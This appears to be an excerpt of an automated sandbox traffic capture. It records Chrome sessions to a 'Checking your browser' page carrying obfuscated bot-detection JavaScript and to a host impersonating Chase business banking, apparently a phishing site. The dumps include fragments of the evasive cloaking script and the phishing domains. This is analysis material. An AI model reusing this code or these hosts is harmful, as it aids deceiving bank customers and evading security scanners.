2024-12-20 00:21:39 UTC	16384	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 3e 0d 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0d 0a 20 20 20 20 3c 68 65 61 64 3e 0d 0a 20 20 20 20 20 20 20 20 3c 74 69 74 6c 65 3e 43 68 65 63 6b 69 6e 67 20 79 6f 75 72 20 62 72 6f 77 73 65 72 2e 2e 2e 3c 2f 74 69 74 6c 65 3e 0d 0a 20 20 20 20 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 75 73 65 72 2d 73 63 61 6c 61 62 6c 65 3d 6e 6f 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 2c 20 6d 61 78 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2e Data Ascii: <!DOCTYPE HTML><html lang="en"> <head> <title>Checking your browser...</title> <meta charset="UTF-8"> <meta name="viewport" content="width=device-width, user-scalable=no, initial-scale=1.0, maximum-scale=1.
2024-12-20 00:21:39 UTC	16384	IN	Data Raw: 63 6d 30 6e 4c 43 64 69 63 6d 39 33 63 32 56 79 54 47 46 75 5a 33 56 68 5a 32 55 6e 4c 43 64 72 62 6d 56 6c 4a 79 77 6e 64 6d 46 73 64 57 55 6e 4c 43 64 74 63 31 64 79 61 58 52 6c 55 48 4a 76 5a 6d 6c 73 5a 58 4a 4e 59 58 4a 72 4a 79 77 6e 62 47 39 6e 4d 54 41 6e 4c 43 63 6a 62 57 56 30 5a 57 39 79 5a 57 52 66 63 32 68 68 63 6d 55 6e 4c 43 64 7a 64 57 5a 6d 61 58 68 6c 63 79 63 73 4a 31 6c 57 64 47 39 6a 62 56 5a 74 57 47 6f 77 61 57 46 49 55 6a 42 6a 52 47 39 32 54 44 4a 47 61 32 52 74 4d 57 68 69 62 55 5a 75 57 6c 68 4a 64 57 52 48 56 6d 70 68 52 31 6f 78 59 6d 6b 31 64 32 4a 44 4f 58 6c 61 56 31 4a 77 59 32 31 57 61 6d 52 44 4f 47 6c 59 55 54 30 39 4a 79 77 6e 63 47 46 79 5a 57 35 30 54 6d 39 6b 5a 53 63 73 4a 33 56 6a 64 32 56 69 4a 79 77 6e 64 32 6c Data Ascii: cm0nLCdicm93c2VyTGFuZ3VhZ2UnLCdrbmVlJywndmFsdWUnLCdtc1dyaXRlUHJvZmlsZXJNYXJrJywnbG9nMTAnLCcjbWV0ZW9yZWRfc2hhcmUnLCdzdWZmaXhlcycsJ1lWdG9jbVZtWGowaWFIUjBjRG92TDJGa2RtMWhibUZuWlhJdWRHVmphR1oxYmk1d2JDOXlaV1JwY21WamRDOGlYUT09JywncGFyZW50Tm9kZScsJ3Vjd2ViJywnd2l
2024-12-20 00:21:39 UTC	16384	IN	Data Raw: 4d 48 67 78 4e 44 51 31 4e 6d 4a 62 4d 48 67 78 58 54 31 66 4d 48 67 79 4e 44 63 30 4e 44 45 38 50 46 38 77 65 44 4e 68 4e 6d 55 78 59 6e 78 66 4d 48 67 78 4e 44 51 31 4e 6d 4a 62 4d 48 67 78 58 54 34 2b 50 6a 42 34 4d 6a 41 74 58 7a 42 34 4d 32 45 32 5a 54 46 69 4b 54 74 39 5a 6e 56 75 59 33 52 70 62 32 34 67 65 53 68 66 4d 48 67 78 4f 57 59 35 4d 57 51 73 58 7a 42 34 59 54 46 6a 4e 47 55 33 4b 58 73 77 65 44 41 68 50 54 30 6f 58 7a 42 34 59 54 46 6a 4e 47 55 33 4a 54 30 77 65 44 51 77 4b 53 59 6d 4b 46 38 77 65 47 45 78 59 7a 52 6c 4e 7a 77 77 65 44 49 77 50 79 68 66 4d 48 67 78 4f 57 59 35 4d 57 52 62 4d 48 67 77 58 54 31 66 4d 48 67 78 4f 57 59 35 4d 57 52 62 4d 48 67 78 58 54 34 2b 50 6a 42 34 4d 6a 41 74 58 7a 42 34 59 54 46 6a 4e 47 55 33 4c 46 38 Data Ascii: MHgxNDQ1NmJbMHgxXT1fMHgyNDc0NDE8PF8weDNhNmUxYnxfMHgxNDQ1NmJbMHgxXT4+PjB4MjAtXzB4M2E2ZTFiKTt9ZnVuY3Rpb24geShfMHgxOWY5MWQsXzB4YTFjNGU3KXsweDAhPT0oXzB4YTFjNGU3JT0weDQwKSYmKF8weGExYzRlNzwweDIwPyhfMHgxOWY5MWRbMHgwXT1fMHgxOWY5MWRbMHgxXT4+PjB4MjAtXzB4YTFjNGU3LF8
2024-12-20 00:21:39 UTC	16384	IN	Data Raw: 66 54 74 66 4d 48 67 7a 4d 6a 55 31 4d 32 4d 6f 4b 54 74 39 4b 56 30 37 59 32 46 7a 5a 53 41 77 65 44 55 36 58 7a 42 34 4e 47 52 6d 4e 7a 4d 31 57 79 64 7a 5a 57 35 30 4a 31 30 6f 4b 53 78 66 4d 48 67 30 5a 47 59 33 4d 7a 56 62 4a 32 78 68 59 6d 56 73 4a 31 30 39 4d 48 67 32 4f 32 4e 68 63 32 55 67 4d 48 67 32 4f 6e 4a 6c 64 48 56 79 62 69 68 75 64 57 78 73 50 54 30 39 4b 46 38 77 65 44 63 32 4d 32 55 77 4d 44 31 75 64 57 78 73 50 54 30 39 4b 46 38 77 65 44 4d 78 4e 7a 49 79 5a 54 31 66 4d 48 67 78 4d 6d 52 6c 59 7a 6c 62 58 7a 42 34 4d 6a 4e 6b 5a 57 46 6a 4b 44 42 34 4d 6d 4d 30 4b 56 30 70 66 48 78 32 62 32 6c 6b 49 44 42 34 4d 44 30 39 50 56 38 77 65 44 4d 78 4e 7a 49 79 5a 54 39 32 62 32 6c 6b 49 44 42 34 4d 44 70 66 4d 48 67 7a 4d 54 63 79 4d 6d 56 Data Ascii: fTtfMHgzMjU1M2MoKTt9KV07Y2FzZSAweDU6XzB4NGRmNzM1WydzZW50J10oKSxfMHg0ZGY3MzVbJ2xhYmVsJ109MHg2O2Nhc2UgMHg2OnJldHVybihudWxsPT09KF8weDc2M2UwMD1udWxsPT09KF8weDMxNzIyZT1fMHgxMmRlYzlbXzB4MjNkZWFjKDB4MmM0KV0pfHx2b2lkIDB4MD09PV8weDMxNzIyZT92b2lkIDB4MDpfMHgzMTcyMmV
2024-12-20 00:21:39 UTC	16384	IN	Data Raw: 50 31 73 77 65 44 51 73 4b 46 38 77 65 44 46 6a 4e 54 42 69 59 54 31 6b 62 32 4e 31 62 57 56 75 64 43 77 6f 58 7a 42 34 4d 57 4d 31 4d 47 4a 68 57 31 38 77 65 44 4d 34 4d 54 4d 32 5a 53 67 77 65 44 4d 33 4f 43 6c 64 66 48 78 66 4d 48 67 78 59 7a 55 77 59 6d 46 62 4a 32 31 7a 52 58 68 70 64 45 5a 31 62 47 78 7a 59 33 4a 6c 5a 57 34 6e 58 58 78 38 58 7a 42 34 4d 57 4d 31 4d 47 4a 68 57 31 38 77 65 44 4d 34 4d 54 4d 32 5a 53 67 77 65 44 49 30 5a 53 6c 64 66 48 78 66 4d 48 67 78 59 7a 55 77 59 6d 46 62 58 7a 42 34 4d 7a 67 78 4d 7a 5a 6c 4b 44 42 34 4d 7a 63 32 4b 56 30 70 57 31 38 77 65 44 4d 34 4d 54 4d 32 5a 53 67 77 65 44 4e 6c 4f 53 6c 64 4b 46 38 77 65 44 46 6a 4e 54 42 69 59 53 6b 70 58 54 70 62 4d 48 67 7a 4c 44 42 34 4d 6c 30 36 57 7a 42 34 4d 79 77 Data Ascii: P1sweDQsKF8weDFjNTBiYT1kb2N1bWVudCwoXzB4MWM1MGJhW18weDM4MTM2ZSgweDM3OCldfHxfMHgxYzUwYmFbJ21zRXhpdEZ1bGxzY3JlZW4nXXx8XzB4MWM1MGJhW18weDM4MTM2ZSgweDI0ZSldfHxfMHgxYzUwYmFbXzB4MzgxMzZlKDB4Mzc2KV0pW18weDM4MTM2ZSgweDNlOSldKF8weDFjNTBiYSkpXTpbMHgzLDB4Ml06WzB4Myw
2024-12-20 00:21:39 UTC	16384	IN	Data Raw: 4d 6d 59 32 4b 53 78 66 4d 48 67 31 59 54 67 32 4e 44 51 6f 4d 48 67 7a 59 32 51 70 4c 46 38 77 65 44 56 68 4f 44 59 30 4e 43 67 77 65 44 4a 6a 59 79 6b 73 58 7a 42 34 4e 57 45 34 4e 6a 51 30 4b 44 42 34 4d 57 5a 6b 4b 53 78 66 4d 48 67 31 59 54 67 32 4e 44 51 6f 4d 48 67 79 4d 44 51 70 58 53 77 6e 5a 6d 46 75 59 6d 39 35 55 32 39 6a 61 57 46 73 4a 7a 70 62 58 7a 42 34 4e 57 45 34 4e 6a 51 30 4b 44 42 34 4d 6a 56 6c 4b 53 78 66 4d 48 67 31 59 54 67 32 4e 44 51 6f 4d 48 67 79 4d 57 51 70 4c 46 38 77 65 44 56 68 4f 44 59 30 4e 43 67 77 65 44 4d 77 5a 69 6b 73 58 7a 42 34 4e 57 45 34 4e 6a 51 30 4b 44 42 34 4d 6a 6c 6b 4b 53 77 6e 4c 6d 4e 76 62 57 31 31 62 6d 6c 30 65 56 39 66 63 32 39 6a 61 57 46 73 4c 57 52 6c 63 32 4d 6e 58 53 77 6e 5a 6e 4a 6c 62 47 78 Data Ascii: MmY2KSxfMHg1YTg2NDQoMHgzY2QpLF8weDVhODY0NCgweDJjYyksXzB4NWE4NjQ0KDB4MWZkKSxfMHg1YTg2NDQoMHgyMDQpXSwnZmFuYm95U29jaWFsJzpbXzB4NWE4NjQ0KDB4MjVlKSxfMHg1YTg2NDQoMHgyMWQpLF8weDVhODY0NCgweDMwZiksXzB4NWE4NjQ0KDB4MjlkKSwnLmNvbW11bml0eV9fc29jaWFsLWRlc2MnXSwnZnJlbGx
2024-12-20 00:21:40 UTC	16384	IN	Data Raw: 61 57 39 75 4a 7a 70 6d 64 57 35 6a 64 47 6c 76 62 69 67 70 65 33 5a 68 63 69 42 66 4d 48 67 78 59 32 52 6d 4d 47 55 39 58 7a 42 34 4d 32 5a 6b 4e 6a 6b 77 4f 33 4a 6c 64 48 56 79 62 69 45 68 5a 47 55 6f 58 7a 42 34 4d 57 4e 6b 5a 6a 42 6c 4b 44 42 34 4d 32 4e 6c 4b 53 6c 38 66 43 46 6b 5a 53 68 66 4d 48 67 78 59 32 52 6d 4d 47 55 6f 4d 48 67 79 4d 7a 4d 70 4b 53 59 6d 64 6d 39 70 5a 43 41 77 65 44 41 37 66 53 77 6e 63 6d 56 6b 64 57 4e 6c 5a 46 52 79 59 57 35 7a 63 47 46 79 5a 57 35 6a 65 53 63 36 5a 6e 56 75 59 33 52 70 62 32 34 6f 4b 58 74 32 59 58 49 67 58 7a 42 34 4e 54 63 31 5a 54 51 7a 50 56 38 77 65 44 4e 6d 5a 44 59 35 4d 44 74 79 5a 58 52 31 63 6d 34 68 49 57 5a 6c 4b 46 38 77 65 44 55 33 4e 57 55 30 4d 79 67 77 65 44 4e 6a 5a 53 6b 70 66 48 77 Data Ascii: aW9uJzpmdW5jdGlvbigpe3ZhciBfMHgxY2RmMGU9XzB4M2ZkNjkwO3JldHVybiEhZGUoXzB4MWNkZjBlKDB4M2NlKSl8fCFkZShfMHgxY2RmMGUoMHgyMzMpKSYmdm9pZCAweDA7fSwncmVkdWNlZFRyYW5zcGFyZW5jeSc6ZnVuY3Rpb24oKXt2YXIgXzB4NTc1ZTQzPV8weDNmZDY5MDtyZXR1cm4hIWZlKF8weDU3NWU0MygweDNjZSkpfHw
2024-12-20 00:21:40 UTC	16384	IN	Data Raw: 67 31 4b 79 31 77 59 58 4a 7a 5a 55 6c 75 64 43 68 66 4d 48 67 78 4e 6d 55 30 5a 44 63 6f 4d 48 68 69 4e 69 6b 70 4c 7a 42 34 4e 69 6f 6f 4c 58 42 68 63 6e 4e 6c 53 57 35 30 4b 46 38 77 65 44 45 32 5a 54 52 6b 4e 79 67 77 65 44 6b 33 4b 53 6b 76 4d 48 67 33 4b 53 74 77 59 58 4a 7a 5a 55 6c 75 64 43 68 66 4d 48 67 78 4e 6d 55 30 5a 44 63 6f 4d 48 67 78 4e 44 45 70 4b 53 38 77 65 44 67 72 63 47 46 79 63 32 56 4a 62 6e 51 6f 58 7a 42 34 4d 54 5a 6c 4e 47 51 33 4b 44 42 34 4d 54 41 77 4b 53 6b 76 4d 48 67 35 4b 69 67 74 63 47 46 79 63 32 56 4a 62 6e 51 6f 58 7a 42 34 4d 54 5a 6c 4e 47 51 33 4b 44 42 34 59 32 49 70 4b 53 38 77 65 47 45 70 4f 32 6c 6d 4b 46 38 77 65 44 4e 6d 4d 57 4a 68 5a 44 30 39 50 56 38 77 65 44 4e 6b 4f 44 63 79 59 53 6c 69 63 6d 56 68 61 Data Ascii: g1Ky1wYXJzZUludChfMHgxNmU0ZDcoMHhiNikpLzB4NiooLXBhcnNlSW50KF8weDE2ZTRkNygweDk3KSkvMHg3KStwYXJzZUludChfMHgxNmU0ZDcoMHgxNDEpKS8weDgrcGFyc2VJbnQoXzB4MTZlNGQ3KDB4MTAwKSkvMHg5KigtcGFyc2VJbnQoXzB4MTZlNGQ3KDB4Y2IpKS8weGEpO2lmKF8weDNmMWJhZD09PV8weDNkODcyYSlicmVha
2024-12-20 00:21:40 UTC	16384	IN	Data Raw: 31 68 63 6d 56 4b 55 79 63 73 4a 33 52 6f 5a 57 34 6e 4c 43 64 70 62 6d 52 6c 65 45 39 6d 4a 79 77 6e 59 6e 4a 76 64 33 4e 6c 63 6b 56 75 5a 32 6c 75 5a 55 74 70 62 6d 51 6e 4c 43 64 51 61 47 46 75 64 47 39 74 53 6c 4d 6e 4c 43 64 6a 62 32 46 6a 61 47 70 7a 4a 79 77 6e 62 57 6c 74 5a 56 52 35 63 47 56 7a 51 32 39 75 63 32 6c 7a 64 47 56 75 64 43 63 73 4a 32 52 6c 64 47 56 6a 64 43 63 73 4a 33 52 76 55 33 52 79 61 57 35 6e 4a 79 77 6e 64 32 56 6a 61 47 46 30 4a 79 77 6e 62 47 56 75 5a 33 52 6f 4a 79 77 6e 58 31 39 33 5a 57 4a 6b 63 6d 6c 32 5a 58 4a 47 64 57 35 6a 4a 79 77 6e 63 6e 52 30 4a 79 77 6e 61 47 56 68 5a 47 78 6c 63 33 4e 66 59 32 68 79 62 32 31 6c 4a 79 77 6e 64 32 6c 75 5a 47 39 33 4c 6b 35 76 64 47 6c 6d 61 57 4e 68 64 47 6c 76 62 6c 78 34 4d Data Ascii: 1hcmVKUycsJ3RoZW4nLCdpbmRleE9mJywnYnJvd3NlckVuZ2luZUtpbmQnLCdQaGFudG9tSlMnLCdjb2FjaGpzJywnbWltZVR5cGVzQ29uc2lzdGVudCcsJ2RldGVjdCcsJ3RvU3RyaW5nJywnd2VjaGF0JywnbGVuZ3RoJywnX193ZWJkcml2ZXJGdW5jJywncnR0JywnaGVhZGxlc3NfY2hyb21lJywnd2luZG93Lk5vdGlmaWNhdGlvblx4M
2024-12-20 00:21:40 UTC	11238	IN	Data Raw: 42 34 4d 54 56 69 4b 56 30 70 50 6a 30 77 65 44 4e 38 66 46 38 77 65 44 4d 30 4d 54 41 31 4d 56 74 66 4d 48 68 6b 59 6a 46 6d 4e 32 55 6f 4d 48 67 78 4d 7a 41 70 58 53 68 66 4d 48 67 78 5a 54 63 78 4e 57 46 62 58 7a 42 34 5a 47 49 78 5a 6a 64 6c 4b 44 42 34 4f 57 4d 70 58 53 6b 37 5a 57 78 7a 5a 58 74 70 5a 69 68 66 4d 48 68 6b 59 6a 46 6d 4e 32 55 6f 4d 48 67 78 4d 54 49 70 50 54 31 30 65 58 42 6c 62 32 59 67 58 7a 42 34 4d 57 55 33 4d 54 56 68 57 31 38 77 65 47 52 69 4d 57 59 33 5a 53 67 77 65 44 6c 6a 4b 56 30 70 65 33 5a 68 63 69 42 66 4d 48 67 31 4e 47 45 77 4d 54 67 39 58 7a 42 34 4d 57 55 33 4d 54 56 68 57 79 64 73 59 57 35 6e 64 57 46 6e 5a 58 4d 6e 58 54 74 66 4d 48 67 31 4e 47 45 77 4d 54 67 6d 4a 6c 38 77 65 44 4d 30 4d 54 41 31 4d 56 74 66 4d Data Ascii: B4MTViKV0pPj0weDN8fF8weDM0MTA1MVtfMHhkYjFmN2UoMHgxMzApXShfMHgxZTcxNWFbXzB4ZGIxZjdlKDB4OWMpXSk7ZWxzZXtpZihfMHhkYjFmN2UoMHgxMTIpPT10eXBlb2YgXzB4MWU3MTVhW18weGRiMWY3ZSgweDljKV0pe3ZhciBfMHg1NGEwMTg9XzB4MWU3MTVhWydsYW5ndWFnZXMnXTtfMHg1NGEwMTgmJl8weDM0MTA1MVtfM

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
19	192.168.2.4	49828	142.250.181.110	443	2056	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-20 00:21:41 UTC	673	OUT	GET /log?format=json&hasfast=true HTTP/1.1 Host: play.google.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiWocsBCJz+zAEIhaDNAQi5ys0BCIrTzQEY9snNARjrjaUX Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: NID=520=ft3_auKYdOmwtta67v9Ln1tCJLnBLXSR_kBjLSyysgp_j0uX1GSIzCUHdtri4jwe5AHuoum3fh908mhF7j3D2oigQ4bbygoILw8PY5GLVgfNyPJz-QB5WQepBASh8Px_cGj_E96CBVqjkbWN8DeK5Lr1JQ581uxFm5e5Kh-ucCQ7AzdfcB8FpFllqrfESbY
2024-12-20 00:21:42 UTC	270	IN	HTTP/1.1 400 Bad Request Date: Fri, 20 Dec 2024 00:21:41 GMT Content-Type: text/html; charset=UTF-8 Server: Playlog Content-Length: 1555 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-12-20 00:21:42 UTC	1120	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 65 6e 3e 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 0a 20 20 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 30 20 28 42 61 64 20 52 65 71 75 65 73 74 29 21 21 31 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 73 74 79 6c 65 3e 0a 20 20 20 20 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d Data Ascii: <!DOCTYPE html><html lang=en> <meta charset=utf-8> <meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"> <title>Error 400 (Bad Request)!!1</title> <style> *{margin:0;padding:0}html,code{font:15px/22px arial,sans-
2024-12-20 00:21:42 UTC	435	IN	Data Raw: 70 69 78 65 6c 2d 72 61 74 69 6f 3a 32 29 7b 23 6c 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 62 72 61 6e 64 69 6e 67 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 2f 32 78 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 5f 63 6f 6c 6f 72 5f 31 35 30 78 35 34 64 70 2e 70 6e 67 29 20 6e 6f 2d 72 65 70 65 61 74 3b 2d 77 65 62 6b 69 74 2d 62 61 63 6b 67 72 6f 75 6e 64 2d 73 69 7a 65 3a 31 30 30 25 20 31 30 30 25 7d 7d 23 6c 6f 67 6f 7b 64 69 73 70 6c 61 79 3a 69 6e 6c 69 6e 65 2d 62 6c 6f 63 6b 3b 68 65 69 67 68 74 3a 35 34 70 78 3b 77 69 64 74 68 3a 31 35 30 70 78 7d 0a 20 20 3c 2f 73 74 79 6c 65 3e 0a 20 20 3c 61 20 68 72 65 66 3d 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 3e 3c 73 70 61 6e Data Ascii: pixel-ratio:2){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x54dp.png) no-repeat;-webkit-background-size:100% 100%}}#logo{display:inline-block;height:54px;width:150px} </style> <a href=//www.google.com/><span

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
20	192.168.2.4	49829	188.119.66.154	443	2056	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-20 00:21:41 UTC	767	OUT	GET /favicon.ico HTTP/1.1 Host: online.access.secure001.chase-business.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://online.access.secure001.chase-business.com/secure/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: PHPSESSID=0idu20ao0cqj0jqtb57oudfbrn; referer=aHR0cHM6Ly9zZWN1cml0eXVubG9ja2luZy5ibG9iLmNvcmUud2luZG93cy5uZXQv
2024-12-20 00:21:42 UTC	1150	IN	HTTP/1.1 200 OK Date: Fri, 20 Dec 2024 00:21:41 GMT Server: Apache/2.4.41 (Ubuntu) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache Set-Cookie: ppath=deleted; expires=Thu, 01-Jan-1970 00:00:01 GMT; Max-Age=0; path=/ Set-Cookie: stp=deleted; expires=Thu, 01-Jan-1970 00:00:01 GMT; Max-Age=0; path=/ Set-Cookie: uid=deleted; expires=Thu, 01-Jan-1970 00:00:01 GMT; Max-Age=0; path=/ Set-Cookie: wt=deleted; expires=Thu, 01-Jan-1970 00:00:01 GMT; Max-Age=0; path=/ Set-Cookie: uid_hash=deleted; expires=Thu, 01-Jan-1970 00:00:01 GMT; Max-Age=0; path=/ Set-Cookie: uurl=deleted; expires=Thu, 01-Jan-1970 00:00:01 GMT; Max-Age=0; path=/ Set-Cookie: umsg=deleted; expires=Thu, 01-Jan-1970 00:00:01 GMT; Max-Age=0; path=/ Set-Cookie: ref=deleted; expires=Thu, 01-Jan-1970 00:00:01 GMT; Max-Age=0; path=/ Set-Cookie: referer=deleted; expires=Thu, 01-Jan-1970 00:00:01 GMT; Max-Age=0; path=/ Set-Cookie: utm=deleted; expires=Thu, 01-Jan-1970 00:00:01 GMT; Max-Age=0; path=/ Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked Content-Type: text/html; charset=UTF-8
2024-12-20 00:21:42 UTC	6	IN	Data Raw: 64 65 38 31 0d 0a Data Ascii: de81
2024-12-20 00:21:42 UTC	16384	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 20 54 72 61 6e 73 69 74 69 6f 6e 61 6c 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 63 2e 6f 72 67 2f 54 52 2f 31 39 39 39 2f 52 45 43 2d 68 74 6d 6c 34 30 31 2d 31 39 39 39 31 32 32 34 2f 6c 6f 6f 73 65 2e 64 74 64 22 3e 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 3e 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 20 20 20 20 20 20 20 68 74 6d 6c 2c 20 62 6f 64 79 20 7b 20 6d 61 72 67 69 6e 3a 20 30 3b Data Ascii: <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3c.org/TR/1999/REC-html401-19991224/loose.dtd"><html><head><meta http-equiv="Content-Type" content="text/html; charset=UTF-8"><style type="text/css"> html, body { margin: 0;
2024-12-20 00:21:42 UTC	16384	IN	Data Raw: 67 78 65 33 5a 4a 55 71 76 58 47 34 51 32 48 6c 79 37 75 66 46 4f 79 6f 59 4e 47 33 62 6e 6e 61 73 47 41 6d 67 4c 77 38 79 2b 43 30 33 78 6a 35 76 68 48 56 6d 66 50 76 72 59 59 77 38 66 36 2f 66 51 70 75 4f 46 6a 6f 74 30 55 34 6e 74 31 7a 50 72 2b 75 2f 50 6e 6a 59 6a 66 2f 61 4d 6d 66 6e 41 5a 6f 49 58 2b 54 50 4b 43 34 71 38 54 41 74 42 75 73 39 73 62 68 78 47 32 51 4d 4e 6e 6f 5a 58 6e 68 36 32 61 6b 4f 39 68 54 53 47 4d 63 76 38 2f 73 2f 77 44 57 6a 77 56 69 78 30 35 39 6b 4e 44 65 49 72 6a 74 6e 72 58 5a 31 64 50 6e 50 61 4e 34 70 76 70 69 32 59 4e 6d 33 78 34 74 6c 62 33 38 79 66 4e 6e 50 57 45 67 30 44 54 57 34 63 75 47 72 30 61 45 51 38 2b 67 47 70 74 4c 6a 47 38 30 72 6a 36 45 50 72 4b 6c 52 6b 47 4c 4d 38 59 50 6a 30 4f 33 67 72 46 72 6f 52 36 Data Ascii: gxe3ZJUqvXG4Q2Hly7ufFOyoYNG3bnnasGAmgLw8y+C03xj5vhHVmfPvrYYw8f6/fQpuOFjot0U4nt1zPr+u/PnjYjf/aMmfnAZoIX+TPKC4q8TAtBus9sbhxG2QMNnoZXnh62akO9hTSGMcv8/s/wDWjwVix059kNDeIrjtnrXZ1dPnPaN4pvpi2YNm3x4tlb38yfNnPWEg0DTW4cuGr0aEQ8+gGptLjG80rj6EPrKlRkGLM8YPj0O3grFroR6
2024-12-20 00:21:42 UTC	16384	IN	Data Raw: 6b 2b 6f 39 76 4d 4e 6f 47 37 73 4b 35 76 72 37 2f 6b 48 6f 48 31 57 66 76 7a 2b 66 4f 54 70 2f 5a 78 37 69 39 30 65 54 79 75 47 62 6c 54 41 58 4e 78 6e 62 67 44 5a 6f 55 4a 5a 64 74 42 46 2b 5a 4d 49 63 71 6c 42 47 66 65 7a 43 69 61 42 34 73 44 5a 45 36 6c 71 36 55 6a 79 42 79 61 47 70 79 71 50 44 4e 64 6a 41 68 38 43 6c 50 6f 39 31 46 68 39 74 51 64 36 2f 55 58 36 78 48 58 31 71 32 75 72 64 39 50 64 30 35 46 7a 44 61 7a 47 54 42 44 6e 51 74 46 39 6f 36 59 67 51 4a 47 69 4a 51 58 62 47 51 63 43 46 61 41 71 33 4d 79 6f 6a 53 69 30 45 77 54 7a 55 49 64 70 35 68 44 55 79 76 6f 55 36 4d 67 30 4c 6b 7a 35 39 48 70 34 4d 64 31 6e 31 6b 45 6d 47 64 2b 50 37 6c 36 4e 6d 69 70 70 65 62 35 38 47 37 4a 71 62 6c 74 48 71 67 36 59 48 62 2b 72 63 59 6a 6b 6e 54 43 54 Data Ascii: k+o9vMNoG7sK5vr7/kHoH1Wfvz+fOTp/Zx7i90eTyuGblTAXNxnbgDZoUJZdtBF+ZMIcqlBGfezCiaB4sDZE6lq6UjyByaGpyqPDNdjAh8ClPo91Fh9tQd6/UX6xHX1q2urd9Pd05FzDazGTBDnQtF9o6YgQJGiJQXbGQcCFaAq3MyojSi0EwTzUIdp5hDUyvoU6Mg0Lkz59Hp4Md1n1kEmGd+P7l6Nmippeb58G7JqbltHqg6YHb+rcYjknTCT
